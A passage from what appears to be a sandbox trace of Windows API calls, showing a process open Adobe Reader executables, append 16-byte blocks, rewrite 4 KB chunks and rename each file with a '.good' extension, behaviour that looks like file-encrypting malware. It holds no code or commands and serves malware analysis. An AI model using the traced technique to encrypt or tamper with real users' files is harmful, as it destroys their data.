dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0070.253] GetFileType (hFile=0x764) returned 0x1 [0070.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0070.253] GetFileType (hFile=0x764) returned 0x1 [0070.253] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x465f0 [0070.253] WriteFile (in: hFile=0x764, lpBuffer=0x3131198*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x3131198*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0070.255] CloseHandle (hObject=0x764) returned 1 [0070.262] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", lpFilePart=0x0) returned 0x44 [0070.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0070.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0070.263] GetFileType (hFile=0x764) returned 0x1 [0070.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0070.263] GetFileType (hFile=0x764) returned 0x1 [0070.263] ReadFile (in: hFile=0x764, lpBuffer=0x3133458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x3133458*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0070.554] CloseHandle (hObject=0x764) returned 1 [0070.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", lpFilePart=0x0) returned 0x44 [0070.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0070.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0070.716] GetFileType (hFile=0x764) returned 0x1 [0070.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0070.716] GetFileType (hFile=0x764) returned 0x1 [0070.716] WriteFile (in: hFile=0x764, lpBuffer=0x30e61b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x30e61b0*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0070.716] CloseHandle (hObject=0x764) returned 1 [0070.721] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe", lpFilePart=0x0) returned 0x44 [0070.721] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe.gоod", lpFilePart=0x0) returned 0x49 [0070.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0070.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x265d6168, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x46600)) returned 1 [0070.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0070.721] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrobroker.exe.gоod")) returned 1 [0070.721] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", lpFilePart=0x0) returned 0x42 [0070.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0070.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), fInfoLevelId=0x0, lpFileInformation=0x3334c10 | out: lpFileInformation=0x3334c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0)) returned 1 [0070.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0070.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", lpFilePart=0x0) returned 0x42 [0070.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0070.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0070.722] GetFileType (hFile=0x764) returned 0x1 [0070.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0070.722] GetFileType (hFile=0x764) returned 0x1 [0070.722] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0070.722] ReadFile (in: hFile=0x764, lpBuffer=0x3335018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x3335018*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0070.724] CloseHandle (hObject=0x764) returned 1 [0070.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", lpFilePart=0x0) returned 0x42 [0070.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0070.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0070.724] GetFileType (hFile=0x764) returned 0x1 [0070.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0070.724] GetFileType (hFile=0x764) returned 0x1 [0070.724] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x21fdf0 [0070.724] WriteFile (in: hFile=0x764, lpBuffer=0x33362a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x33362a8*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0070.726] CloseHandle (hObject=0x764) returned 1 [0071.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", lpFilePart=0x0) returned 0x42 [0071.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0071.218] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0071.218] GetFileType (hFile=0x764) returned 0x1 [0071.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0071.219] GetFileType (hFile=0x764) returned 0x1 [0071.219] ReadFile (in: hFile=0x764, lpBuffer=0x313a0e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x313a0e0*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0071.860] CloseHandle (hObject=0x764) returned 1 [0071.860] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", lpFilePart=0x0) returned 0x42 [0071.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0071.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0071.860] GetFileType (hFile=0x764) returned 0x1 [0071.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0071.860] GetFileType (hFile=0x764) returned 0x1 [0071.860] WriteFile (in: hFile=0x764, lpBuffer=0x3138290*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x3138290*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0071.861] CloseHandle (hObject=0x764) returned 1 [0072.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe", lpFilePart=0x0) returned 0x42 [0072.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe.gоod", lpFilePart=0x0) returned 0x47 [0072.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0072.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x278423f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21fe00)) returned 1 [0072.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0072.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32.exe.gоod")) returned 1 [0072.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", lpFilePart=0x0) returned 0x46 [0072.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0072.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), fInfoLevelId=0x0, lpFileInformation=0x3233d68 | out: lpFileInformation=0x3233d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0)) returned 1 [0072.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0072.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", lpFilePart=0x0) returned 0x46 [0072.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0072.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0072.645] GetFileType (hFile=0x764) returned 0x1 [0072.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0072.645] GetFileType (hFile=0x764) returned 0x1 [0072.645] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0072.645] ReadFile (in: hFile=0x764, lpBuffer=0x3234190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x3234190*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0072.647] CloseHandle (hObject=0x764) returned 1 [0072.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", lpFilePart=0x0) returned 0x46 [0072.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0072.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0072.647] GetFileType (hFile=0x764) returned 0x1 [0072.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0072.647] GetFileType (hFile=0x764) returned 0x1 [0072.647] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x71f0 [0072.647] WriteFile (in: hFile=0x764, lpBuffer=0x3235430*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x3235430*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0072.648] CloseHandle (hObject=0x764) returned 1 [0072.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", lpFilePart=0x0) returned 0x46 [0072.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0072.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0072.650] GetFileType (hFile=0x764) returned 0x1 [0072.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0072.650] GetFileType (hFile=0x764) returned 0x1 [0072.650] ReadFile (in: hFile=0x764, lpBuffer=0x32376f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x32376f8*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0072.916] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0073.493] CloseHandle (hObject=0x764) returned 1 [0073.493] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", lpFilePart=0x0) returned 0x46 [0073.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.493] GetFileType (hFile=0x764) returned 0x1 [0073.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.493] GetFileType (hFile=0x764) returned 0x1 [0073.494] WriteFile (in: hFile=0x764, lpBuffer=0x31675e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x31675e8*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0073.494] CloseHandle (hObject=0x764) returned 1 [0073.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe", lpFilePart=0x0) returned 0x46 [0073.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe.gоod", lpFilePart=0x0) returned 0x4b [0073.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0073.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x28040a7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7200)) returned 1 [0073.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0073.495] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32Info.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrord32info.exe.gоod")) returned 1 [0073.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", lpFilePart=0x0) returned 0x4b [0073.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0073.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), fInfoLevelId=0x0, lpFileInformation=0x3313d08 | out: lpFileInformation=0x3313d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0)) returned 1 [0073.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0073.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", lpFilePart=0x0) returned 0x4b [0073.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.497] GetFileType (hFile=0x764) returned 0x1 [0073.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.497] GetFileType (hFile=0x764) returned 0x1 [0073.497] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0073.498] ReadFile (in: hFile=0x764, lpBuffer=0x3314150, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x3314150*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0073.499] CloseHandle (hObject=0x764) returned 1 [0073.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", lpFilePart=0x0) returned 0x4b [0073.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.499] GetFileType (hFile=0x764) returned 0x1 [0073.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.499] GetFileType (hFile=0x764) returned 0x1 [0073.499] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0xaff0 [0073.499] WriteFile (in: hFile=0x764, lpBuffer=0x3315400*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, 